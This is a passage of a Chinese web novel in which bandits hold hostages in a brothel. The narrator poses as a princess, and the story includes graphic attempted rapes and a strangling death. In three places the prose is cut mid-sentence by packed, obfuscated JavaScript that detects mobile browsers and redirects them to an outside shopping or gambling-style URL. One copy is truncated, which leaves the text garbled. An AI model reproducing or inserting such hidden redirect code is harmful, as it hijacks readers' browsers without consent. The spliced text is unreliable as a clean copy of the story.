金宝鸯缩在我和郡主之间,不受控制的颤抖。 书生周达尹上前制止:“你们找金姑娘做什么!没有任何必要,我已经是你们的人质,你们就……” 话没说完,横肉大汉上前就是一脚,周达尹直接被踹飞,重重摔到门边,血从额头处缓慢流出,陷入了昏迷。 郡主、金宝鸯、床上的姑娘此起彼伏的尖叫着。我一手按住一个,拼命摇头使眼色,她们都停不下来。 糟了,绝不能激怒土匪啊!这都是不要命的主儿,杀人不眨眼啊。 更糟糕的是,这一幕把姓夏的吓坏了,当即决定用金宝鸯换自己的平安。 “我说,我说!那个,中间那个!那就是金家小姐!大哥,大哥,我都告诉你们了,就放过我吧!放过我吧!” 横肉大汉丝毫不理会他匍匐攀上来的求饶,一脚蹬开他的手,大跨步走了过来。我倾了半个身子挡在金宝鸯身前,但无济于事,他只挥手一拨,我和郡主都被推趴下了。 一道疤痕自左向右横跨脸颊,横肉遍布的脸贴到金宝鸯面前,后者吓得尖叫着连连后退,但被横肉男子直接拎了起来,就像拎一只鸡仔。 天哪,为什么要针对金宝鸯?都督是什么职位,武将吗? “呦,金大小姐,你父亲好威风,扫荡我马家寨的时候,不是很勇猛吗?哼,他没想到吧,有一天自己女儿也会落入我之手!” 马家寨!啊,我想起来了! 郡主之前说,三殿下带队荡平的土匪山头,不就有个叫马家寨的吗?天哪,那若是土匪知道这儿有三殿下的妹妹…… 我打了个冷战,汗珠一茬一茬冒了出来。 幸亏郡主被胭脂弄得一脸污糟,掩盖住了她的容颜。但金宝鸯就没这么好运了,她被横肉大汉色迷迷上下瞧着,还上手撕扯衣领。 “金权那龟孙杀了我三个婆娘,还有我的亲弟弟!那你就替父还债,当我一日婆娘,再送你去上西天!” 金宝鸯拼命挣扎,但她那点力气,丝毫改变不了局面。 理智告诉我此刻应该做缩头乌龟,躲越远越好,装死最好。但这场面实在让人无法忍受,激愤之下我还是爬起来冲上前:“你放开她!” 横肉大汉没料到旁边有人冲来,但哪里轮得到他出手,我尚未近身,就被守在他身后的一个独眼小喽啰拦腰抱住。 好家伙,人没救出来,我自己倒贴进去了! 独眼龙朝我贴了过来,臭气熏得我脑瓜都疼:“呦,小美人还投怀送抱呢,怎么,看着小姐妹被人玩,自己也心痒痒了?” “你放开我!去你/妈的!” “哎呦!这还是条会骂人的母狗。”独眼龙眉毛一挑,直接上手猛撕我的衣袖,一面笑容□□,“老子就喜欢贞洁烈女!” 衣袖“嘶”的一声,我的肩膀被一只粗糙的手抚上,黑牙凑过来堵我的嘴。 我吓死了,拼命闪躲着,却被未能得逞的他扇了两个耳光,痛的我眼冒金星,骂娘都骂不出来了。 “我/操,我/操……你妈……”我嘶哑着躲闪着痛骂着。独眼龙根本不理会,直接伸手乱摸。 条件反射,我抬腿狂踢,独眼龙没有防备,被我命中命根,痛的弯下了腰。 我得了喘息,扭身就跑,却被他一把撕住头发。 “啊啊啊……” “你他娘敢踢老子!”独眼龙使劲一拽,我跑出去的三步直接白费,倒退着摔倒在他怀中。他扯着我的头皮逼我站起来,一面用长刀架在我的锁骨上,对着我明晃晃的威胁着,“再跑,再跑?” 冰冷不带生机的触感,吓得我三魂飞了七魄。后背发凉,额头冒汗,四肢没有一处不在颤抖。 “大哥大哥我错了,我错了!”仅剩的一丝理智驱使着我叠声认怂,“别别别!我错了我错了!” “你他娘不是很烈吗?妈/的敢踢老子,信不信老子剐了你?” “别别别,我错了,我错了!” 但独眼龙并未放下长刀,只是空一只手继续撕扯我的衣领。 冰冷的刀刃在我肌肤上轻轻划过,只消再用一分力,我就得被割喉。我吓坏了,头脑都不转了,躲也不敢躲,抖也不敢抖。 眼看我的男装外衫已被完全撕开,露出小衣来,忽然,一声爆喝打断了所有人的动作。 方才还抖若筛糠的周二叔,竟撑着圆桌站了起来:“你们都给我住手!” 独眼龙闻声一震,刀刃稍稍离开了我的胸襟。我大喘一口气,汗珠密密麻麻爬满了后背。 “人存活于世,要讲良心,要讲可为与不可为。尤其男儿风骨,需顶天立地才算好汉。你们这行径如此下作,哪里算得上绿林好汉?” 屋里静的能听见每个人的呼吸。 我这才注意到,床上那位裸身的姑娘被一个小喽啰欺身压下,她脑袋躲闪着,却被拧着下巴啄着咬着。姓夏的瑟缩在床下一角,抱着头装乌龟。 横肉大汉将金宝鸯压在圆桌上,一手就把她剥得只剩肚兜。郡主冲上前去救她,却被大汉另一手掐住了脖子,此刻脸都紫了。 惊慌之下,我大叫起来:“快放开她!你会掐死她的!放开她!” 我的尖叫在寂静中很突兀,好在横肉大汉反应了过来,瞥一眼被掐的七荤八素的郡主,直接将她甩手一丢,她就像个破烂的洋娃娃,被扔到屏风上,旋即滚落,没了声息。 “救命啊,啊啊啊!松开我!”金宝鸯尖叫着,但横肉大汉没耐心了,上手就要撕她的肚兜。 独眼龙也回过神来,继续拿刀指向我的脖子。 天哪,郡主,郡主还活着吗! 我顾不得眼前的威胁,紧张的心跳都要停了,周二叔立即扑上前查看。 “你们快住手吧!这几个都是娇弱姑娘,经不起这样折腾!大男人,欺负女人算什么玩意!” 独眼龙被激怒了,他移开长刀指向周二叔:“你他娘说什么呢?” 横肉大汉则哈哈大笑:“读书人,还他/妈的读书人的德行!” 有一丝奇异掠过我的心头。 此时此刻的周二叔不同于先前的懦弱,虽然他声音颤抖着、脖子僵硬着,却依然站出来阻止暴行。 可是,说教对土匪不管用啊! 果然,独眼龙怒曰:“今天老子就要当着你的面上了她,你又能奈我何?” 周二叔咬牙切齿:“你、你们!住手!” 可他刚扶着屏风爬起,郡主呜咽了一声。 “姑娘,姑娘!你还好吗?”周二叔忙探下身。 郡主还活着! 我松了口气,但眼前的情势依旧不容乐观,再耽搁下去,我和金宝鸯今天都得交代到这里。 就在此时,掩住的门再次被撞开,走进来一个梳着长辫的男子。 “二当家的,别玩了!”他一进来就厉声喝,“来之前说过什么?今天筹谋大事,不能被女人破坏!” 二当家的正□□着隔着肚兜上下其手,金宝鸯又哭又闹,却无济于事。好事被破坏,二当家的黑了脸:“你可真他娘烦,老子爽一发不行吗?” 同样不耐烦的还有独眼龙:“玩一下有什么影响?” “快住手!”长辫男很坚决,“官兵马上就到,正是关键时候,上上下下的兄弟都看着你们,你们现在搞女人,他们能忍得住吗?” 床上专注于运动的小喽啰倒分身回复曰:“玩完了给兄弟们,轮流爽呗!” “你他娘的给我停下!” 长辫男怒了,抄起桌上香炉丢了过去。 小喽啰被砸中背心,闷哼一声趴下。我注意到被他压着的姑娘口鼻外是青紫的手印,眼睛闭着,头歪向一旁一动不动,不由心中骇然。 但由不得我分神,搂着我的独眼龙忽然大跨步斜向前,挥刀砍向前方的人。长辫男倒还挺灵活,闪身一躲。 可我倒霉了啊。 这王八蛋捅人都没有松开我,拉着我重心一偏,目标没中,刀尖却不偏不倚戳到了我的胳膊,鲜血瞬间喷了出来。 “啊啊啊啊!”我失控地狂叫起来。 周二叔见状,又要上前救我,却被长辫男挥手一拳,径直倒地昏死。随后,后者又对着独眼龙破口大骂:“你他娘敢对我动手!” 独眼龙不遑多让:“就你屁事最多!唧唧歪歪!” “你说什么!” “行了!”二当家的吼了一句, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434754|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “都闭嘴!大敌当前还有功夫内讧?” 独眼龙不服气的嘟囔两句,但终是丢下了我。我痛的全身都麻木了,瘫在地上哀嚎。他那柄长刀垂下,上面的标记反射出刺眼的光。 长辫男恨恨的瞪一眼独眼龙,又说了一遍:“二当家的,今天大事,你也不能玩女人!防止分心啊。” “他娘的,这是金权的闺女,老子不能放过她!” “二当家的!底下人都看着呢。” “妈/的!”二当家的唾了一声,又揪住金宝鸯的领口将她拉到自己眼前,依旧是色迷迷的嘴脸,“行吧,这妞就等老子成功后再玩吧。你听好了,先好好休息,一会儿好好伺候爷,爷玩完了就把你赏给底下人,今儿,一定让你尽兴!” 独眼龙登时咧开嘴,将□□的目光投向金宝鸯,竟还伸手也想抚摸。 金宝鸯哪受过如此屈辱,当即猛烈挣扎,厮打着二当家的。后者就像看玩具一样看着她,居高临下的、高高在上的。 “不要,不要……”我痛得牙齿上下打架,但仅存的理智告诉我,得快制止金宝鸯。此时反抗没有用,更莫激怒土匪啊。既然暂时安全,图谋逃离与求救才是唯一的出路。 许是看二当家与独眼龙停下了欲望,长辫男不再啰嗦,蹲下身拖走了周二叔。 那边,金宝鸯还在猛烈厮打着。二当家的渐渐失去了看笑话的兴趣,抬手就要将她丢过来,像方才丢郡主那样。 但没想到,金宝鸯胡乱挥舞的手,竟在这一刻抓到了二当家的脸。许是她的指甲修剪过,比较尖利,这用力的一挥,后者的脸竟被划出血丝来。 二当家的吃痛,登时怒火中烧,另一手不由分说掐上了金宝鸯的脖子。她立马就涨红了脸,双手去抠那粗糙的大手,双脚乱蹬着。 “你他娘的!敬酒不吃吃罚酒,找死啊你!” “宝鸯,宝鸯!”我想撑住屏风站起来,但痛觉将我全身的力气都抽走了,“放开她,放开她!你会掐死她的!” 独眼龙本来还在看好戏,渐渐脸色也变了。 “二当家的,这妞留着还有用吧?别玩了!” “天哪,松手,松手!” 可二当家的正在雷霆怒中,下手毫不留情。 “宝鸯!松手!”我挣扎着站起来,又被独眼龙一脚踹翻,受伤的胳膊砸在地板,血再次喷涌。 我痛的眼泪狂飙,但余光还是看到独眼龙上前去掰二当家的手。 二当家的松手了,可金宝鸯,却如同一尾失了水分的鱼,没有生机的、发不出丝毫呐喊的,软软滑了下去。 “宝鸯!” “你把她掐死了?”独眼龙蹲下查看,一面啧啧两声,“真他娘的娇弱,这就死了?二当家的,这、这……咱少了个重要人质啊。她在,可以威胁金权,还有御青王那小子啊。” 二当家的终于意识到玩脱了,但作为领头大哥,他哪肯认错,脖子一梗:“怕什么,有姓周那小子在!呐,还有这些人质!这江瑟楼二层非富即贵,哪个不是金贵的主儿?咱们掌握住他们,不怕朝廷不听话!” 金宝鸯死了?死了! 我瞪着金宝鸯骇然、不甘、无辜的眼,从未有过的恐惧袭来。像被扔进一个盖着盖子的浴缸,水漫过我的口鼻,无法呼吸。 曾几何时,我的姐姐,与我唯一相依为命的姐姐,也是这样在我怀中离去。麻绳缠绕着她的脖颈,遗书扔在她的脚下……学了法律又如何,我依旧护不住被渣男背叛欺负了的她。 吓坏了的还有姓夏的,本已是缩头乌龟的他,忽然像被踩住了尾巴一样跳了起来,再次哆嗦着扑上前抱住了二当家的腿:“大哥大哥,求求你,放了我吧,放了我吧!我们夏家和剿匪的无关啊!” 失了个重要人质,二当家的正烦,对着姓夏的就是一阵狂踢,边踢边骂:“你他娘给我闭嘴!老子管你有关无关,闭嘴!” “饶命,饶命啊,好汉饶命!”夏公子口鼻蹿出血来,他用手臂护住头部,再也抗不住了,“我、我还知道个重要人质,她对你们比我重要多了,我说出来,你们放了我,放了我!” 回忆潮水褪去,我再次骇然心惊。天哪,他不会认出…… 独眼龙来兴趣了,蹲下身问道:“呦呵,你小子还认识谁?快说!” “你先答应放了我!” “妈/的你还敢提条件!信不信老子现在就废了你?”独眼龙一巴掌呼上去。 姓夏的哀嚎一声,捂住脸,再也不敢耽搁:“我说,我说!就是,就是……” “操!你敢说!”理智冒了上来,我也顾不上疼痛了,怒骂了一句。 但姓夏的话语已经冒了出来,“……阳远郡主在这儿!” 48.周达尹 “阳远……御青王的妹妹?”独眼龙马上反应过来,“在哪?” 姓夏的颤抖着举起手。 “你他/妈的混蛋!”怒火充斥着我的胸膛。我使出浑身的力气,随手摸到个玉佩,在他指向郡主前狠狠砸了过去。 姓夏的被震住了,竟忘了闪躲。玉佩正中脑袋。他眼皮一翻,也昏了过去。 “你这婆娘,你他娘……”独眼龙朝我冲了过来。 短短几秒,我已想好了对策,当即大吼一声:“你敢动本郡主试试!” 独眼龙脚步一滞,错愕的瞪着我。 我用力压住心虚感,强撑着与他对峙。手臂痛的抬不起来,大颗汗珠又砸了下来。 但我没有办法,金宝鸯的尸体就躺在一旁。我知道,如果郡主被发现被俘,或许结果也是如此。姐姐无力垂下的手臂似在敲打我的神经,不行,我不能眼看她也死在这里,我做不到! 独眼龙回头请示二当家的,后者走了过来,上下打量我:“真是小看这妮子了,早知道先把你办了!哼,我说你他妈哪来的胆量,真是兄妹一个样儿啊。行,这下好。今天真他娘是个好日子,得来全不费工夫。我倒要看那所谓的御青王,还敢不敢和老子嚣张!” 独眼龙马上又盯上了郡主:“没瞧出来啊,这仨小女子,一个郡主,一个羽林军都督之女,那这个女的是谁?” 我忙端架子:“废话,本郡主出门能一个人吗?这是我的丫鬟姝儿!” 眼见独眼龙又眯了眯眼,我只得马上转移话题,防止他深究。 “我告诉你们,想威胁哥哥,没门儿!本郡主近期都在京外别院小住,今天是一时兴起溜出来找乐子,王府没人知晓。哥哥不会信你们的,休想令哥哥掣肘!” 二当家的脸上横肉在跳跃。 独眼龙果然出主意:“那就让她丫鬟去通报,免得御青王不信。” 我紧张地看着二当家的在思考,片刻后他大手一挥:“行,反正也不让咱们留女的,那就把这丫鬟丢出去,让她给御青王那孙子通报,顺便也给刑部尚书说说。哼,现在有郡主在手,咱们得加码了!” 我暗暗松口气,手臂痛感又冒了出来。 见二当家的拿定了主意,独眼龙猛踹床上那厮。后者醒来后也蔫了,顾不得继续享乐,在大哥的注视下拖走了不知死活的青楼姑娘。 “把金权闺女拖到一楼藏进账台后面,不被发现就还是个筹码!” “二当家的,门口已经有官兵了!” 二当家的面色一凛,带着独眼龙就往外出。临出门前还不忘上前掐住了我的下巴,臭气熏得我天灵盖都麻了。 “尊贵的郡主,竟然跑到这青楼来玩,真他娘异于常人啊。你最好祈祷你哥哥把老子想要的东西给老子,否则老子定要把你丢给兄弟们,让你真的变成窑姐!” 我强忍住疼痛,咬牙与他对视着,不愿展露出一丝丝的软弱。即便恐惧侵蚀着我的心脏,即便鼻子酸的像塞了柠檬。 片刻后,二当家的狠狠甩开了我。 但我的眼泪,在看到独眼龙拖着毫无生气的金宝鸯出去时,再也阻挡不住。我嚎啕大哭起来。 许是已失去一个有力人质,土匪这波谨慎了些。竟还派了个雷公嘴模样的小喽啰来帮我包扎,随手扯下床帏布一勒,就算完事了。 我痛得骂街都骂不动了,深刻怀疑自己会因破伤风而死。 这时候,书生周达尹终于醒了过来,原来他也还在屋中没被拖走。 “啊,啊!”他眼睛环顾四周,停留在我身上时开始大叫。 我正使出吃奶的劲拽屏风下被压着的一件外衫,疼痛之下,我很没耐心:“别叫了!醒了帮一下我!” 周达尹一怔,这才从我满身满脸沾着的血迹中分辨出伤口:“你、你胳膊怎么了?” 见我无力回答,周达尹又伸手捂了捂头,呻吟两句,爬了起来。 出乎我的预料,眼前的书生并不迂腐愚笨,反而还挺机灵。他起来后第一时间悄步走到门边轻轻一推,见门被锁,便通过门缝觑了觑。随后又去窗边找出路,一圈未果,最后才看向我:“怎么回事?土匪怎么进京来了?” 我哪知道啊? “你是谁?我方才见你和阳远郡主在一起,还有金小姐,她人呢?” “她……” 周达尹握紧了拳头:“她不会被拖走欺负了吧?” 我侧目避开了他的注视,说不出口。 周达尹却还在问:“还有郡主呢,我二叔呢?都去哪了?这些土匪是马家寨?马家寨不是才被荡平了吗?糟了,二叔……”他脸色变了又变,“天哪,郡主!郡主没有被发现吧!若是郡主也被控制,三殿下可真的就投鼠忌器了啊!哦,金小姐也是,这……” 我头要炸了,不得不制止:“好了!别絮叨了!那个,你是刑部尚书的儿子?” 周达尹摇头:“我是孙子。” “啥?” “我说,刑部尚书是我祖父。” “哦。”我收回上挑的眉毛,肩膀塌了下来。没想到啊,这文文弱弱的书生,竟然出身高贵。 “你又是谁?” 他认识阳远郡主,我只能实话实话,并求他千万不要说漏了嘴。 “你、你好大的胆子啊。”周达尹低低惊呼,“阳远郡主不少人认识,你冒充她?万一被发现,你就死定了!” 是啊,那姓夏的就是个定时炸弹啊。 “你的胳膊严重吗?你的脸色不太好啊。”周达尹又说。 我抬头看一眼干巴在他额头上的血迹,也不想多说,只道:“土匪怎么回事,都闯到京城里来了?还攻占青楼?” 青朝治安不是挺好的吗? 周达尹紧锁眉头:“马家寨……几个月前京城周边山头土匪闹得厉害,圣上下旨剿匪,御青王亲率羽林军,成果斐然,抓了不少领头的。马家寨,也是其一。” 我心里一颤:“都督金权也参与了剿匪?” “嗯。他是羽林军第一副将,骁勇善战,此番被调派协助三殿下的。” 所以土匪这一波,是将剿匪主副将、刑事最高长官的亲属全扣下了?这太巧合了吧! 不,不对。郡主和金宝鸯的出现完全是意外,事先不可能有预料。方才对话也能证明,若非姓夏的那混蛋认出她二人,也不至于有现在的祸事。 可周达尹呢?方才那二当家的,显然是冲着他来的啊。 周达尹也意识到了:“祖父身子一向不大好,今日又严重了。母亲便让我来找二叔,他流连青楼,所以……” 脑海闪现出上二层时听到的闲话。这么说,周二叔这德行,京城人人皆知了? “所以,本应被抓的是你二叔。他倒好,将你推了出来。” 周达尹却摇头:“你我如今有身份,是最后的筹码,不到万不得已,土匪不会下黑手。但普通的人质就不一定了,一旦需要杀鸡儆猴,各个都有危险。” 痛觉一股一股捶打着我的神经,但我还是明白,周达尹说得对,这是个聪明人。 “等一下,”我忽然反应过来,“你刚说三殿下成果斐然?那怎么还有这么多土匪没被荡平?” “是挺奇怪的,我记得三殿下此次奏报中,前几个提及的土匪窝……”周达尹咬牙思索着,“对啊,这个马家寨好像都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445689|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在前列,似乎规模不太大。按理说,以三殿下的才能,应该一举荡平才是啊。” 难道三殿下谎报军情?亦或者,逃脱的人数较剿匪成果不值一提,却没想到,小股势力反而干了票大的? 可既然都成功跑路了,为什么还要闯进京城来?京城的守卫可不是一般的严格。从江瑟楼方才那么大的动静判断,土匪人数不少,且目标明确,绝非一时兴起。 那问题就来了。 如为报复,既知周二叔流连江瑟楼,派人潜入趁夜绑走或在回家路上下手不是更好吗?何必兴师动众袭击青楼?郡主和金宝鸯的出现是意料之外的,那么,他们有准备针对三殿下或者都督金权的其他报仇手段吗? 方才周达尹说,马家寨寨主被抓。这应该就是土匪预谋挟持周二叔的目的。可抓了嫌犯丢牢里,这是自古以来的规矩,没必要为此为难刑事长官家属吧? 除非—— “你的意思是,要用我换马家寨寨主?”周达尹不可置信。 我强忍住疼痛:“我也只是猜测。不顾后果,义气为之,不一向是绿林精神么?何况,在你昏迷的时候,有个长辫男进来阻止二当家的暴行,他说现在图谋大事,不宜分心。还说事先就约定好了,将青楼女子们都放走了。” 周达尹惊了:“把女子都放走了?如此纪律严明?” 呵呵,那倒也不至于。真要是有军纪,金宝鸯也不会死了。 我阴沉的骂了句娘,周达尹诧异的挑挑眉,忽然话锋一转:“诶,对了,说起来,你们为什么会出现在青楼里啊?” …… 门外忽然传来脚步声,我和周达尹对视一眼,默契的低头装死。 二当家的却不让我躺平。他进来就揪着我衣领,我被他大力撕扯站起,胳膊剧痛,呼吸都不顺畅了。 “你、你要干什么?”周达尹立即冲上来掰他的手。 二当家的只是用胳膊一甩,周达尹直接滚到地上。力量太悬殊了。 “松手,松手……”领口紧紧勒住我的脖子,眼前都发白了,我拼命挣扎着。 二当家的这才略略松开些许,一脸横肉朝我贴近:“你哥哥非要见你,才肯相信老子没有吹牛皮。尊贵的郡主是想自己走,还是老子抱你过去?” “休得无礼!”周达尹爬起来又冲了上来。 这次,二当家的直接给了一拳,扭头唾了一口:“呸!就你这小身板还想英雄救美?给老子乖乖呆着!少他娘的废话连篇!” 不等说完,身后跟来的独眼龙对着周达尹又踹又踢。不消几下,后者鼻子和额头就再次流出血来。 我吓坏了,连声制止:“住手住手!别踢了!我去,我去!” 二当家的轻蔑的看过来:“说的好像老子求你去一样,你他妈的必须去!” 操! “但你需要我配合的,不是吗?”我急忙加码,“我可以去求哥哥,我可以帮你得到你想要的!停手,停手!别打了!我答应你!” “行了。”二当家轻描淡写一句,丝毫没把别人的死活放心上。 独眼龙听话的住了手,朝我淫淫一笑:“这郡主还挺仗义,怎么,那是你心上人啊?” 二当家的冷哼一声:“你听好了,等会乖乖向你哥哥求救,说的越惨越好,知道吗?若是你表现不够好,老子就让你真的变惨,懂了没?” 我唯有点头。 周达尹痛苦的捂着肚子,爬都爬不起来,却还担心的望着我。 我只来及朝他递了个放心的眼神,就被独眼龙扯出了包间。 我又疼又气又害怕。但接下来看到的一幕,却惊得我连疼痛都忘了。 49.火药 华丽豪华的江瑟楼被砸了个稀巴烂,杯盏灯烛混着菜肴美酒满地都是,放眼望去杂乱无章。但比起这些,更令人在意的则是—— 大厅中堆满了木柴,夹杂着数不清的小腿高的黑色圆球没有章法的胡乱堆着,散发着臭鸡蛋腐烂的味道。 七八名小喽啰正将黑球往大厅的一处角落搬,有一人被脚下砸碎了的茶壶绊了一跤,险些将怀中物件掉落,换来了同伴严厉的斥责。 我心头一动,暗叫不好。 臭鸡蛋味,莫不是硫磺?还有什么味道隐隐刺鼻,桐油? 而除了一层严阵以待的小喽啰们,二层却没有多少守卫。只见所有雅间敞开着门,唯有西边四间关着。 “赶紧走!别磨蹭!” 我被推着走下楼梯,余光扫到楼梯侧下方一滩超大的血迹。 心内骇然,我扭头先看见一张被削去一角的桌子上堆着小山似的金银首饰。桌边到楼梯下,横七竖八的躺着四五个男子,稀烂的衣服、满头的血污,大动静下毫无反应的躯体……最边边角角处的凸起上盖着一张桌布,露出的绣花鞋是那么熟悉。 “宝鸯!”我失声叫道。 “叫什么叫!”独眼龙被我吓了一跳,恼火的朝我头上猛拍一下。 我再也忍不住,又哭了出来。二当家的却拦住下属,朝我走近一把揪住我的衣领,胳膊被撕扯得锥心的痛。 “郡主,你看见了也好,老子可不是跟你儿戏的。你若是不想变成他们中间的一员,就乖乖配合着别出岔子。” 说罢,二当家的一挥手,我便被重重丢出了江瑟楼大门。 而楼外更是令我震惊。 江瑟楼十余米宽的门前空地此刻已被层层堆高约五米的麻袋团团包围,内里一圈是一个挨着一个的盾牌,犹如一座简易堡垒。别说外面官兵看不到内里,就连土匪也观望不到外面的情况。 堡垒内,土匪持刀警惕的站着岗。我在心中草草一算,这一路走来看见的土匪足有五十人之多。 如此庞大的队伍逃脱,怎么能算剿匪成功? 而且,按照如此态势不难推出,土匪行动前定有周密安排。可是,这些武器、战争物资,如何躲过城门盘查带入京城?土匪,又为什么要袭击一座青楼? 当然,对比官兵力量,这点人数还是不值得一提的。问题是,人质数目也不小啊。 “御青王!你妹妹我带到了!可以按照我的要求释放我大哥了吧!”二当家的高呼。 果然是为了救出寨主! “让我见到妹妹,她不安好,我绝不会答应你!”三殿下厉声喝道。 “妈/的,屁事真多!”二当家的啐了一口,还是扭头吩咐,“去搬个梯子来。” “郡主不说几句话?”独眼龙贼兮兮的看过来,突然给了我一脚。 我“啊”的叫出声。外面立即传来三殿下和谢宁轩的声音,焦急、暴躁。 “你们再动她试试!” “找死啊敢碰我妹妹!” 但暴怒与厉声并无作用,内里的土匪凭借人质与堡垒,完全有恃无恐。 “哈哈哈哈,御青王啊,你可别在这儿嚣张!金权女儿和周家子孙都在老子手里,还有二楼那么多贵公子,我看看你小子还能咋办!” “就是!哈哈哈,别看上次那么威风,现在不也就憋着和龟孙子一样了么!”独眼龙附和着,土匪哄堂大笑。 我火冒三丈,却无能为力,只剩咬牙。 那边,小喽啰将梯子搬来了。独眼龙推了我一把,可我一只胳膊犹如断了,哪里爬的了梯子? “哎呦,尊贵的郡主娇弱着呢。”独眼龙阴阳怪气,直接上手抱住了我的腰,“来,爷来扶你。” 我恶心的想吐。但我不能让谢宁轩和三殿下担心,他们已经够焦头烂额了。 强忍着不适,我被独眼龙架上了梯子。可我只被允许冒出半个脑袋,再想登高一层,都被死死按住了。 糟了,这还怎么传达信息? 我心中焦虑,看到谢宁轩的一瞬间,眼泪还是不受控的猛烈砸了下来。他骑在马上,身后是数不清的官兵,一条街堵得水泄不通。街角有座高达四层的楼,遥遥观之,似有弓箭手的身影。 四目相对,视线内只余他满是忧色的眼眸。 三殿下与他骑马共立,见我出来也松了口气。他驱马向前一步:“妹妹,你怎么样?” 谢宁轩脸沉似锅底,腮帮子都突了出来。“你还好吗?你脸上怎么没有血色?他们伤着你了?你没事吧?” 我强忍着泪意摇头,可委屈和畏惧还是充斥而来。 没有再给我们诉衷肠的时间,独眼龙猛地一拽,我便滑下了梯子。腿脚接连被梯子横杠砸痛,伴随着胳膊的抽痛,我还是忍不住叫出了声。 “妹妹!妹妹!” “郡主!”谢宁轩高叫一声,随即开始心理攻势,“喂!你们算什么男人!郡主只是个姑娘,还有金小姐,都是女流之辈,何苦为难她们,你们还好意思叫绿林英雄,丢不丢人!放了她们,我来给你们当人质!” “宁轩!”三殿下低呼声传来。 但英雄论成功激怒了二当家的,他大吼一声:“你他娘胡说什么!” “郡主只是女眷,本官却是朝廷命官,又是齐王爷的长子,你将我作为人质,明显价值更高!快点!放了郡主和金小姐,我来当人质!怎么!你不是怕了吧?不敢了吗?” 谢宁轩的激将法一句接一句,二当家的被激怒了。 我紧张的心跳如战鼓狂擂。 可长辫男却从楼里跑出来,急急按住了大哥的肩膀:“别听他胡说!谢府丞最会耍花样,上任两年不知道抓了多少陈年逃犯,年纪轻轻手段了断。绝不能放他进来!否则咱们大计必败!这阳远郡主是御青王那小子的亲妹妹,兄妹感情一向很好,他根本不敢硬来!” 妈的!他不上当! 这个长辫男看来是他们这支队伍的智囊,不好对付啊。对谢宁轩和三殿下,他竟也有所了解。难道行动前连这些都打听清楚了? 谢宁轩说辞换了一套又一套,内里却不见回音。气的三殿下破口大骂:“你们这帮宵小之辈给本王听好了!本王妹妹若有半点闪失,我必定踏平你马家寨!让你们永世不得超生!” 三殿下一向冰冷,暴怒时散发着的严峻气息,总令人不寒而栗。可这里的土匪正得意,嚣张的笑着。 “呦,郡主呦,你瞧瞧你哥哥这脾气,将来你若是做了大爷我的压寨夫人,我可得好好教育这大舅子,哈哈哈哈哈哈!” 去你妈的! 在恶心与愤怒中,我抓住一个离间的契机。 “压寨夫人?对不起,我不明白,这不是给寨主准备的吗?二当家的竟然这般义气,为牢里的大哥寻摸夫人?只是,瞧二当家的这眼神,似乎是自己看上我了吧?怎么,难道你其实想当寨主?” “你他娘的屁话真多!”独眼龙马上给我一巴掌。 我被打的眼冒金星,但余光还是扫到几个小喽啰侧目看向二当家的。后者脸上的横肉又开始抽抽:“这死婆娘……” 长辫男拦住了大哥,表情阴骛:“你还真像你哥哥,胆量是不小啊。哼,面也见了,话也说了,滚!去把她关进去!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463533|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 糟了,我还没完成传话的目标啊。 恰逢独眼龙上前粗鲁的拉扯我,没辙了,只能戏精上身了。我登时往地上一跪,装作被他拽倒,嚎啕大哭起来。 “啊啊!求求你,求求你!放过我吧!让我和哥哥说话,让我见哥哥!” 独眼龙惊了,但二当家的很满意,他露出了冷笑:“我当什么女中豪杰呢,也不过是个花架子。” 长辫男却狐疑的盯着我。 我知道,传话务必不能让他听出端倪。 “哥哥,哥哥,救我救救我!” 外面传来骚乱声,听起来似乎是部下拦住了想向前冲的三殿下和谢宁轩。惹他们着急上火可不是我的目标啊,所以我赶紧说出关键信息—— “哥哥!哥哥!我好怕……不!我不怕!哥哥!你还记得你之前怎么教育我的吗?你说是身如璞玉,要、要、要……”我装作语无伦次,开始结巴,“要经大火、火、火聚!我懂,我都懂!我会好好的,哥哥,你要来救我!” 我怕露馅,又马上装作情绪崩溃朝麻袋城堡冲,被独眼龙眼疾手快拦下辱骂。好在,长辫男没发现端倪,他厌恶的扫我一眼:“行了,女人嚎叫起来真烦人!丢进去关起来!” 我嘶喊着哭泣着疯狂嚎叫着,堡垒内的土匪都嫌弃的瞪着我。所以他们没有注意到,外界的动静有一秒的停滞。 谢宁轩,是你听懂了吗?也配合着我在演戏吗? 我被丢进二楼包间的时候,还不忘泪洒满面,吓得周达尹语无伦次,冲上来手足无措,不知该如何安抚。 等两个小喽啰将门关上,上锁离开后,我霎时止了哭声,朝周达尹招了招手。 周达尹都懵逼了。 “怎、怎么了?你、你怎么……他们打你了?你的脸……” 